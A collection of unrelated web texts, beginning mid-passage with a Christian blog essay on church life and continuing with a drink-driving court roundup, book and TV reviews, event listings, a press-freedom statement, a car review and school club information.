my own power, have the ability to provide for my every need, and the needs of my family. Where can my need for God be found? (I have recently become desperate for God in the area of my marriage, and being a husband. I am desperate for God to be in me, what I cannot be on my own. This is a good start, I suppose, to learning what a daily dependence on my Savior looks like. However, I believe it is far from a Biblical view of "denying myself, taking up my cross, and following Jesus".) How often do we, in all reality, deny ourselves of anything that we want or need?
I once heard someone say, "Many of the churches in America are so 'man operated' that they could grow without God." What he was saying is this: Find a fascinating speaker who is good at communicating moral behavior, a great "worship leader" who can generate butterflies in your tummy, a staff of motivated (not to mention very well paid) and driven professionals, a cool, modern, and "hip" building/location, furniture from Ikea, a coffee shop, etc., and you can easily get a few thousand people into your building each week for a "service". For some reason I do not believe the New Testament Church we read about in Acts was led by rare professionals. The early church grew and spread like a virus because it was easily reproducible. It didn't take a superstar pastor, a rock star worship leader, and a huge building, etc. to multiply. In fact, I would say the above "model" we are accustomed to is nearly impossible to multiply. (Please do not misunderstand me by thinking I promote a particular "model" of church; anyone who thinks that any ONE model will offer "effectiveness", or "success" proves their ignorance.) We may see addition with our current form of church, but not multiplication. The early Church spread and multiplied because ordinary, everyday people encountered Christ, and it messed them up for good, and for their good. They were transformed. Can our current form of church lead to transformed Christ followers? Of course! I am a product of a great one. Are many of these churches very effective in doing great things all over the world? Yes! Can we always be striving to be more effective? Of course. Might this require drastic and radical change for some churches and individuals, including myself? Yes. I am reminded of a business term I learned in college: Kaizen. It originated in Japan, and is the term used for continuous improvement. It simply means for us to constantly be looking for better ways of doing things. We must never come to the conclusion that we have it all figured out. This births pride and leads to ineffectiveness. As you know, we in America have this mindset. There is no attack here, but a simple submission that the Church (People of God, not a location or building) may be entering a new chapter, or era in what it looks like to be a Christ follower…maybe it doesn't come with such ease anymore…maybe it requires much sacrifice…maybe it challenges us to be uncomfortable…maybe it BECOMES our everyday lives, and not just a part of our lives.
I was speaking with a student pastor friend of mine the other day. We were thinking hard about this absence of desperation for God in our country. We were chatting about what could be done differently in the area of student ministry. It would seem as if the days of great Wednesday night services, unbeatable camps/events, funny speakers, rockin' bands, and the most thought provoking messages are quickly coming to an end. Are these things bad? Of course not. Can all of these things be present, along with hundreds of students who attend these weekly events, and still lack a true understanding of what it means to follow Christ? Sadly, the answer is yes. Erwin McManus, in his book, "Chasing Daylight", writes on the idea of Christians being moved but not mobilized. He was referring to a group of men who came to a weekend retreat and got excited. They were certainly moved, but not mobilized to action. What will it take for us to be more than simply moved, but radically mobilized to live out the Gospel. Can we proceed in the same fashion we have for years? I think not. Do we, as adults, model a need for God to teenagers? I think this would be a good start for us. We must portray a selfless/desperate attitude to the next generation of Christ followers, or they will not be Christ followers at all.
There is a movement taking place all over the world. The truth is that the Huge God that we speak of, and sing songs about here in the states is performing miracles in other countries regularly. He is healing the sick, restoring sight to the blind, and raising the dead. Wait, did I just say, "raising the dead"? We are instant skeptics. Once again, we talk about our God being Big. Do we truly believe it, and do our actions prove our belief? I wonder if our lack of faith has prohibited the Lord from doing things He desires to do in our lives. I am reminded of a story in Mark 6 where Jesus returns to His own country to teach and do miracles. Verses 5 and 6 say, "Now He could do no mighty work there, except that He laid His hands on a few sick people and healed them. And He marveled because of their unbelief…" I pray that my unbelief will cease to hinder the Lord's work. I beg the Lord everyday to give me faith that believes He still raises the dead to life.
Is the Lord doing miracles in the states? Yes. Are we aware of the miracles, and in turn, directing the glory to Him because of them? Not usually. (We must first become aware of the miracles taking place all around us if we are to give Him glory for them) I've been to Thailand, Indonesia, and Vietnam, and seen a movement taking place. I have heard about it in China, and have friends who are a part of it in India. To describe this movement we can think about the early Church in Acts where thousands were transformed by Christ in a day. Notice, I did not say that thousands prayed a prayer of conversion in one day. We have seen that in the states regularly for many years. I am speaking of people who witness a Christ follower heal the sick, or raise the dead to life through the power of the Spirit of God that dwells in them. Upon this encounter of a miracle they can do nothing but desperately beg to know this powerful God. They are forever changed, forever transformed. That is a movement. Christ is equipping His Church. He is taking His Church back into His hands, and out of the hands of man. He is doing what He is doing, and graciously welcoming us to be a part of it. Thousands of Christ followers in America are waking up to this call of what it truly means to radically follow Christ. A restored desperation for God is flooding into the hearts and lives of Christians all over the United States, and world. This of course, is contrary to everything in our flesh. The question is whether or not we will truly die to our flesh in order to live in this movement.
"Father, continue to wake us up. Challenge us. Move us to action and mobilize your Church. Instill in us a holy discontent for the status quo. May we begin to take the teachings of your Son, Jesus, seriously. We submit to You, and beg for your guidance."


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A McDonald's run, a drunk Tesco trip and an alleyway brandy guzzle among latest drink-drive tales
Eleven drink-drivers have been disqualified for a combined 18 years and fined £6,000.
A third of those before Ipswich magistrates were involved in collisions before their arrests.
One fled a crash scene; another ran out of fuel on the A12; and a third went to hospital on a spinal board after overturning his car.
US airman Mason Hritz twice mounted a kerb in Cullum Road after being spotted driving an uninsured BMW 525 at speed over a Bury St Edmunds roundabout at 3.45am on November 17.
The 23-year-old, of Drovers Avenue, had 86 microgrammes of alcohol in 100 millilitres of breath – the legal limit being 35mcg.
Solicitor Christopher Casey said Hritz faced demotion, had been banned from driving for the military and was made subject to a substance misuse programme.
Mr Casey said Hritz had insured the car but failed to respond to an email regarding the policy, which was subsequently cancelled without his knowledge.
He was banned from driving for 18 months and fined £500.
Kurtis Osborn, 23, of Kent Road, Guisborough, North Yorkshire, was stopped for driving his Ford Fiesta without headlights along London Road, in Ipswich, at 2.25am on November 10.
Prosecutor Natalie Anforth said Osborn told police: "I'm just going to be honest with you; I've had some alcohol," which proved correct when officers found 53mcg of alcohol in 100ml of his breath.
He was banned for one year and fined £265.
Jason Totham, 50, of New Cut, Hadleigh, "slurred his words and appeared confused" when found behind the wheel of a Vauxhall Astra, with a flat tyre, on the central reservation of the westbound A14 near Copdock.
The roofer, who had 87mcg of alcohol in 100ml of breath on November 20, told magistrates: "I had a blow-out, which caused the car to swerve, but that's no excuse for my behaviour. I'm very sorry."
He was banned for 18 months and fined £120.
Edmunds Ribakovs, 56, of Brayfield Close, Bury St Edmunds, pulled his Ford Fiesta into an alley and swigged brandy to combat low mood, before setting off and rear-ending a courtesy car in Mount Road at 5.30pm on November 12, with 99mcg of alcohol in 100ml of his breath.
He was banned for two years and fined £600.
Ben Haynes, 40, of Mill Rise, Saxmundham, received the same penalty for driving his Vauxhall Corsa along the town's High Street with 92mcg of alcohol in 100ml of breath, at 2.50am on November 17.
He apologised, adding: "I've learned a valuable lesson."
Sharon Scott, 56, of Plum Street, Glemsford, abandoned her Vauxhall Astra and front seat passenger following a collision in the car park of Tesco in Sudbury on November 16 – later found hiding in a wardrobe at a friend's house and arrested with 89mcg of alcohol in 100ml of breath.
Solicitor David Allan said her life was "turned upside down" in recent years but that she had taken steps to address resulting issues with alcohol and was now "completely abstinent".
She was banned for 22 months and fined £150.
Ashley Price, 30, Anton House, Grimwade Street, Ipswich, drove his Mercedes to collect a meal for his pregnant girlfriend from a McDonald's drive-through just before 1am on November 10.
Difficulty understanding his order, which Price had equal trouble attempting to pay for, gave staff reason to call police, who found the labourer with 52mcg of alcohol in 100ml of breath.
He was banned for 14 months and fined £230.
Nicholas Moore, 32, of Adams Place, Kesgrave, drove his Ford Fiesta along Norwich Road with 85mcg of alcohol in 100ml of breath on November 19.
The electrician was banned for 20 months and fined £350.
Charlotte Cherryman, 22, of Mill Lane, Hasketon, near Woodbridge, was banned for two years and fined £150 after driving a Volkswagen Polo with 97mcg of alcohol in 100ml of breath along Fonnereau Road on November 15.
Stuart Bartlett, 25, of Cherry Court, Red Lodge, overturned his Vauxhall Corsa in Brandon Road, outside RAF Lakenheath, at 5.30am on May 27. He was taken to hospital with back, chest and neck injuries, and found to have 168 milligrammes of alcohol in 100ml of blood – the limit being 80mg.
He was banned for 20 months, fined £120 for drink-driving and fined £40 for careless driving.
Peter Cameron, 54, of Southborough Road, London, had 95mcg of alcohol in 100ml of breath when his BMW X5 ran out of fuel on the A12 in Woodbridge on November 17.
He was banned for 25 months and fined £3,000.
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Title: Out of the Box Awakening
Author: Jennifer Theriot
Pages: 366 pages
Plot: Olivia is a good woman, a good mother, a good wife. She's got it made. She doesn't want anything to change.
Of course, it does…
Swept from her perfect paper-doll life in Houston, Olivia finds herself in Chicago, alone, betrayed, and far from home. Soon everything she thought she knew about herself and her life will be challenged. She has only courage, love, and her passion for music to carry her through the maelstrom—or draw her further in.
Ash is the man who has everything—everything except healing from the losses of a lifetime. His only peace lies in the sweet flow of music pouring from his guitar
What happens when the married woman and the handsome widower are thrown together by fate?
Out of the Box Awakening is a story of shared passion and shared joy. Jennifer Theriot has written a compelling book about what happens when two people find new life and new love for themselves and for those around them.
Out of the Box Awakening is the first book in this series. The main purpose of these books is to make women realize that in order to find happiness, sometimes you have to step outside of your comfort zone. Never be afraid to express your feelings and never, for one minute, think that the right man— your knight in shining armor— won't come along.
Our protagonist Olivia is in her fifties looking at starting a new life with Ash Harper. Both Olivia and Ash have had a bad marriage and finally find each other to be their soul mates. But this is just the beginning. They have issues of the past to deal with.
Unlike most of the romance novels I have read, this one has a matured elderly couple as the lead. For me this book is more of a power packed family drama with lots of ups and downs, highs and lows, laughter and cries. The friendship bit of it is well highlighted with Todd and Olivia. The book emphasizes on the fact that the unresolved issues of the past can cause trouble in your present life. That is exactly what happens to Olivia and Ash. The story is about how they overcome these issues and have the will to keep moving forward.
Spoiler Alert: It would have been more appealing if the thriller segment towards the end would not be a mere dream, or it should have been completely eliminated.
Never the less, the romance was refreshing and the novel was an enjoyable read.
Ratings: 3/5
PS: – Thanks to the author for sending a copy of the book for an honest review.


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Honoured to present at Prodexpo North, the 1st Thessaloniki Real Estate Conference, on Debt to Asset Swaps as a means of resolving NPLs. There is a right and a wrong way of doing it. Contact us at 8G Capital Partners Limited for a copy of the presentation!
Prodexpo North was organised by SGT Symeon G. Tsomokos S.A. at the Macedonia Palace Hotel on the 29th of March.


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Happy students learn: teaching resilience & emotional intelligence skills for K-6
There is increasing recognition of the role that soft skills play in being successful in the workplace. In addition, young people with strong resilience and emotional intelligence have better learning outcomes and are more likely to be happy.
Life Skills GO is a new platform that uses technology to enable students to build social and emotional skills.
What you will learn
– The skills students need to be successful in classroom and the workplace
– How technology can be used to teach these skills
About Nikki
Nikki Bonus is Australia's leading provider of wellbeing and social emotional learning programs for young people. She is an entrepreneur, influencer, presenter and creator of the Life Skills Group whose mission is to equip as many young people as possible with the skills they need to thrive in the modern world.
For more than a decade, Nikki's team of 80 teachers has worked across 600 schools, reaching 500,000 primary school children, to build a continuing evidence base of what works for school communities.
About LifeSkillsGO
In 2016 Nikki founded Life Skills Go as a digital solution to significantly expand access to social emotional learning in schools across the world. This is a practical response to the OECD and World Economic Forum's increasing calls for social emotional learning to be mandated alongside core academic subjects.
Life Skills GO is taking 21st Century Learning to the next level by delivering measurable social, emotional and physical skills through education technology. This platform is the digital evolution of Life Skills Group's in-school social, emotional and physical learning programs, which has been successfully running in NSW primary schools since 2009.
The platform delivers and measures the mandated skills needed to thrive in the 21st Century as well as reporting on wellbeing in real-time. It is fun and engaging for students in years K-6 and provides hundreds of curriculum-aligned resources for educators to confidently teach the skills of social, emotional and physical learning.
The Format
There will be a keynote presentation followed by Q&A
We thank Amazon EdStart, a strategic partner of LaunchPad Insights
With thanks to our Event Partner
About EduGrowth
EduGrowth is Australia's education technology and innovation industry hub. Through connection and collaboration, we accelerate Australia's EdTech ecosystem globally.
Join EduGrowth today to access a range of events, programs and services designed to help you grow your EdTech business. Complete a membership application form via our website.


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AOA acknowledges the risk the COVID-19 pandemic poses to the community, members, colleagues and patients. As a health sector leader, AOA has a responsibility to its members and their patients to respond to this situation in an ethical, calm and pragmatic way. We must all help stem the spread of COVID-19, as the Australian health system cannot afford to have a significant proportion of the orthopaedic workforce unwell, infected, isolated, or transmitting disease to patients.
Therefore, AOA has decided to postpone events for 2020 to 2021.
Event details will be updated below as soon as possible if you require any further information please do not hesitate to contact AOA Event Manager Alison Fallon on 0403652145 or via email firstname.lastname@example.com
Please continue to look after yourselves and those around you and keep the lines of communication open. AOA will continue to monitor advice from the government and health departments to coordinate and act in the best interest of national welfare.
View the AOA Event Calendar for a full list of all AOA and other key Australian orthopaedic events.
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By Josh Axelrod
"The Newsroom" officially ended its three-season run on Sunday. It hit just about every series finale note it should have. Mac was pregnant, Don and Sloan were happy, Jim and Maggie were in love, Neal was back in the U.S., and Charlie was recognized as the larger-than-life figure he always was before B.J. Novak…sorry, Lucas Pruitt pushed him over the edge. The show even ended with Will staring into the camera and beginning his newscast with a "Good evening," just to remind us that ACN's cameras won't stop rolling just because HBO's did.
There really isn't much to say about the finale itself. It wasn't nearly as bad as "True Blood" or "How I Met Your Mother" (don't get me started on HIMYM). It didn't reach the levels of awesome achieved by, say, "The Office" or "Chuck." Jeff Daniels and John Gallagher got to show off their musical chops, that was kind of cool. But really, the series finale served less as an ending and more of a reminder of all the things to both love and question about "The Newsroom." And just to be clear, my love for "The Newsroom" is strong and well-documented.
I think "The Newsroom" is, well now was, a show that got saddled with an unfair reputation. Its true star wasn't Daniels, but writer Aaron Sorkin and his Emmy/Oscar-winning pedigree. Unfortunately, he chose to begin his return to TV with one of the most obnoxious soliloquies ever. Will McAvoy's "America is not the greatest country in the world anymore" speech is now infamous for being as long-winded as it was cynical, even if there were some good points hidden behind the smug:
Its first season never recovered from that initial perception, that it was a show that preached at you. It didn't help that characters were severely underwritten and never really resonated until late into the season. Maggie Jordan and MacKenzie McHale set feminism back about 50 years by being terrible in their personal and professional lives. At the very least, by the end of Season 1, the entire ACN staff liked and respected Will.
The beginning of Season 2 was rocky. Don and Sloan were being awkward after Sloan's "You're a good guy" speech where she admitted she liked him. Jim wanted to get away from Maggie so badly that he hopped on a GOP campaign bus. Will started to date a gossip columnist, which was totally going to end well (Spoiler alert: It didn't). Same old disappointing "Newsroom."
Then a switch flipped. Jerry Dantana showed up and Operation Genoa provided a compelling season-long conflict grounded in questions of morality and journalistic ethics. It all fell apart so beautifully and tragically that even though the brunt of the blame was on Mac, you couldn't blame her for any decision she made along the way. Leona Lansing (Jane Fonda, a goddess) became a welcome champion of ACN and her son Reese (Chris "Diamond Dan" Messina) became less annoying.
Don provided the world with the best post-kiss line ever: "What I have can't be taught." Will popped the question to Mac and everyone rejoiced. But most importantly, Maggie went to Africa and came back a real character who could actually perform the tasks required of her job and maintain a sex life that didn't involve Jim (who, by the way, found Hallie Shay, an underrated character who Aaron Sorkin ruined with Twitter and sex columns).
"The Newsroom" began Season 3 with a lot of hope, and it maintained Season 2 levels of entertainment throughout its way too brief six-episode run. The big storyline involved Neal having to run away to Venezuela after accidentally committing espionage and Will going to jail because he wouldn't reveal Neal's source. For the first time in the show's history, journalistic integrity was basically the answer for every question the show raised.
Why wouldn't Will give up Neal's source? Journalistic integrity. Why wouldn't Maggie use the EPA guy's quotes that she overheard? Journalistic integrity. What led to the saddest moment in "Newsroom" history, aka Charlie Skinner's heart attack? His unwillingness to compromise his journalistic integrity for ratings and clicks.
Why did Sloan blast Neal's douchey replacement webmaster for not caring about truth in his invasive stalking app? Journalistic integrity. Why did Mac do everything in her power to run Lilly Hart's story? Journalistic integrity. Why did Hallie write an article about her sex life with Jim? Well okay, that was just Aaron Sorkin's blatant sexism.
That criticism never went away with "The Newsroom," and Sorkin didn't help his case by talking. He made Hallie as incompetent as Season 1 Mac. Speaking of Mac, it turned out the two biggest moments in her career were purely because she was a woman. Charlie recruited her for the ACN job purely because of her relationship with Will, and she was named president of ACN to make Lucas Pruitt look less like a raging sexist ("Living art," really?). That was disappointing.
When Maggie decided to interview for a job in D.C. and do long distance with Jim, it was treated like the moment Maggie had been building toward for three seasons. Maggie made a major life decision by herself? OMG!!!!!!
The most controversial storyline was, of course, Don trying to convince a rape victim not to do an interview with her rapist by basically shaming her and her website for sexual assault victims. It was problematic on a lot of levels, and Don was clearly a Sorkin mouthpiece here. But frankly, and this may be an unpopular opinion, I think this storyline was a triumph for Sorkin. It sparked a conversation and was really more about the lengths Don would go to in order to maintain his…wait for it…journalistic integrity than about the issue itself.
And then we came to the finale. It exemplified "The Newsroom's" defining trait: entertaining frustration. It might've been a much better episode if if it had just cut out Jim and Maggie entirely, but I suppose an "I love you" from Jim while he walked away from Maggie was the best we could've hoped for there. And, for that matter, we should've at least gotten an "I love you" from Don and Sloan. At least they now have Charlie's tie and no longer believe they contributed to his death, even though they clearly did.
But the finale got the heart of the show right. Will and Mac are going to be parents, and Will spent all episode acting like a father. That jam session with Charlie's grandson was a great reminder that Will had been a father figure to his entire staff since Mac arrived at ACN. It brought their relationship and Will's relationship to his office full circle in a brilliant way.
And it turned out Charlie was the key to it all. He was on a mission to save journalism and, between drinks, he set the wheels in motion for doing just that with ACN. He convinced Mac to join ACN. She got Jenna Johnson to the front of the question line at Northwestern. Mac got Jim to join her at ACN. Mac taking over Don's job pushed him closer to Sloan. And when all was said and done, the staff of "News Night with Will McAvoy" was a big, happy, incestuous family.
That was really the point of "The Newsroom" as I saw it. It wasn't Aaron Sorkin's grand criticisms on the state of the media, politics and every other debatable issue under the sun. It was about a group of misfits coming together for a common goal under a fearless, loyal leader (first Charlie, then Will) and learning that they might actually all like each other after all.
That message was sometimes shrouded by overly snappy dialogue, unfortunate sexism and Sorkin's general arrogance. It's a perception that stuck with the show throughout its entire run, and I considered its validity on more than one occasion. But I won't remember "The Newsroom" for those things.
I'll remember it for that one time Sloan made it to the rage phase. I'll remember it for forcing my college friends to stop whatever they were doing to gather around a TV on a Sunday night for the possibility Don and Sloan might kiss (I'll never forget the collective squeal when that happened). But most of all, I'll remember it as the inexplicably fun show that I hate-watched before realizing I genuinely liked it. And that's the biggest headline of all.


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< Back to Ruth Miskin Literacy Inc.
Join us for a two-day training delivered by Colleen Somich, Head of Training America, former school leader and teacher (B.A., M.Ed., Sue Lehmann Award finalist 2009), New York University Adjunct Instructor. Colleen will share Read Write Inc.'s approach to getting every child reading and loving it. You will learn the latest science of reading and practice techniques gained from training hundreds of elementary schools across Australia, England, Mexico, Scotland, the UAE and the United States of America.
This training is open to teachers, tutors, school/ district leaders, and parents seeking fun, research-based ways to teach reading and writing effectively, efficiently, and enthusiastically. Pre-K/ K teachers looking for child-friendly ways to start their reading instruction at age 4 or 5 and intervention teachers supporting older and/ or ELL students would also greatly benefit from this training.
10.00am - 4.30pm
199 Water Street (One Seaport Plaza), 34th Floor
New York, NY 10038
Please arrive by 9.45am to sign-in on the WeWork iPads. Proceed to the 34th floor where the Community Management Team will welcome you to the training room.
There will be a 45-minute lunch break at 1pm. You are invited to bring your own lunch, and place in the refrigerator, or explore the local shops.
Register one month in advance for the Early Bird special of $525
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Please contact Colleen Somich with any questions about this event - click here to email, or call 646.939.7271.
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Reporters Without Borders condemns yesterday's refusal by a court in the Colombo suburb of Pugoda to release Shantha Wijesuriya, a journalist with the Lanka E-news online newspaper, on bail pending trial on a contempt of court charge for an erroneous news report. Access to the website was also blocked on an order from the court pending the outcome of the trial.
Wijesuriya has been held in Mahara prison since 25 April for wrongly reporting on 19 April that the Pugoda court ignored a directive from the attorney-general's office when it released two police officers accused of murder. Lanka E-News posteda correction and apology three days after the original report.
"It is unacceptable that Wijesuriya is being detained and is facing a possible jail sentence over an error in a news report," Reporters Without Borders secretary-general Jean-François Julliard said. "Any journalist in the world can make this kind of mistake. Wijesuriya acted according to professional ethics by publishing a correction and apologizing to the court. There are absolutely no grounds for either the jail sentence he is facing or the order banning the website from publishing any more articles. By blocking the site, Judge Aravinda Perera has assumed powers that until now were reserved for the ministry of mass media and information."
Julliard added: "Lanka E-news is one of the last opposition news media to keep going in Sri Lanka despite the harassment and threats. Their criticism of the government is now resulting in an unprecedented degree of harassment. We may be witnessing this online newspaper's final days. Journalists in Sri Lanka are gagged by the entire state apparatus. We appeal to the United Nations to put pressure on the government to end this policy of suppressing opposition media, which are entirely legitimate in a democracy."
Wijesuriya's lawyer, Manjula Pathiraja, reiterated the online newspaper's apology yesterday to the court, which adjourned the case until 12 May and ordered the Telecommunications Regulatory Commission to block access to the website within Sri Lanka until the end of the trial.


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It's actually pretty easy to paint a picture of the redesigned 2018 Buick Enclave with one word: more. As in more of everything. The mid-size luxury seven-seater SUV enters its second generation, packing in extra comfort, convenience, and features in an overall sleeker form. We dropped in on the rolling hills of Vernon, B.C., for the first Canadian drive of this modern Buick.
The outgoing model wasn't exactly a boxy utility vehicle, but the domestic brand has further sculpted and refined the body, giving it a slimmer, more windswept look than before. The roofline is lower, the windshield angle sharper, and the wheelbase has been stretched out. Several design elements are clearly influenced by the Avista concept that debuted at the North American International Auto Show two years ago, particularly the front end with the wing-shaped accents in the headlamps and front grille.
Speaking of lighting, the Enclave marks Buick's first use of Evonik Acrylite technology. A mouthful for sure, but the innovative hardware found on all trims sees the application of 100 LED bulbs, not only giving the crossover a distinctive appearance but also providing significant improvements in the illumination department.
I mentioned comfort earlier, and after spending some time cruising through the Okanagan Valley, here are a few observations. The brand has managed to squeeze out 10 percent additional interior space compared to its predecessor, and it has third-row legroom that is refreshingly usable. And unlike other select SUVs—cue the Land Rover Discovery I recently tested—when carrying a full load of passengers, there's still a healthy 668 litres of cargo space available behind the last bench. Nifty 10-inch-deep storage compartments hidden under the floor yield an additional 90.6 litres to stash various items.
Another addition to the Enclave is a new optional air ionizer. Built into the climate system, the ionizer produces negatively charged particles to attract and neutralize airborne contaminates in the cabin, helping to reduce unpleasant odours, bacteria, dust, and pollen, so occupants can breathe easier.
As with related Buick products in the lineup, QuietTuning is implemented. This is a combination of specially engineered body aero, high-grade sealing, sound deadening materials, and now active noise cancellation to cut down on unwanted exterior noise. I was indeed able to easily carry on a conversation with my driving partner. The only time I had to raise my voice was while on gravel roads where we could hear debris bouncing off the undercarriage.
The Enclave is powered by a 3.6-litre V6 engine, paired to a nine-speed automatic transmission, making 310 horsepower and 266 lb.-ft. of torque. Fuel saving start/stop functionality is standard, and the crossover has a maximum tow rating of 5,000 pounds.
Customers have the choice of three trim levels: Essence, Premium, and the grade-topping Avenir, the new Buick luxury sub-brand borrowing its name from the same concept. Active twin clutch all-wheel-drive is offered on all except the base front-drive Essence, which starts at $49,690. Stepping up to Premium ($57,690) bundles heated/cooled front seats, and heated second-row seats, a power-folding third row, and collision avoidance add-ons such as lane keep assist and front pedestrian detection.
At the top, Avenir ($63,690) includes a rear camera mirror (similar to the unit installed in the Cadillac XT5), sunroof, and Avenir-specific appearance package consisting of an exclusive three-dimension grille, 20-inch wheels, premium exterior colours, and exclusive interior accessories.
Benjamin Yong is a freelance writer from Vancouver, B.C., and a member of the Automobile Journalists Association of Canada (AJAC). Follow him on Twitter @b_yong


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Breakfast Club
Carleton Park runs a Breakfast Club from 8.00-8.50am, where children are given a choice of healthy food and take part in activities before the full school day begins.
Breakfast Club costs £3.00 per day – please book in advance by the Wednesday of the week before your child is attending. Please note, children must be accompanied into Breakfast Club and signed in by an adult.
To book a place simply log into your Parentmail account and select the week and days you would like to book, add them to your shopping basket and then check out and pay. If you are unable to access your Parentmail account please download and fill in this form and hand it in with your payment to the office.
After-school clubs
Carleton Park is pleased to offer a wide range of after-school clubs for both KS1 & KS2 pupils, thanks to members of our support and teaching staff kindly volunteering their time. We also offer clubs organised by sports coaches or other professionals which are funded through the use of our Sports Premium and Pupil Premium funding.
The clubs currently on offer are:
Monday: Choir and Boys football
Tuesday: Art and TT Rockstars
Wednesday: Dance
Thursday: TT Rockstars and Girls football
Please note that the clubs change each half term and need to be booked in advance through Parentmail.


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Ratos annually holds a Capital Market Day (CMD) for invited investors, analysts and media representatives. In 2015, the CMD was held on 12 March at Moderna Museet in Stockholm.
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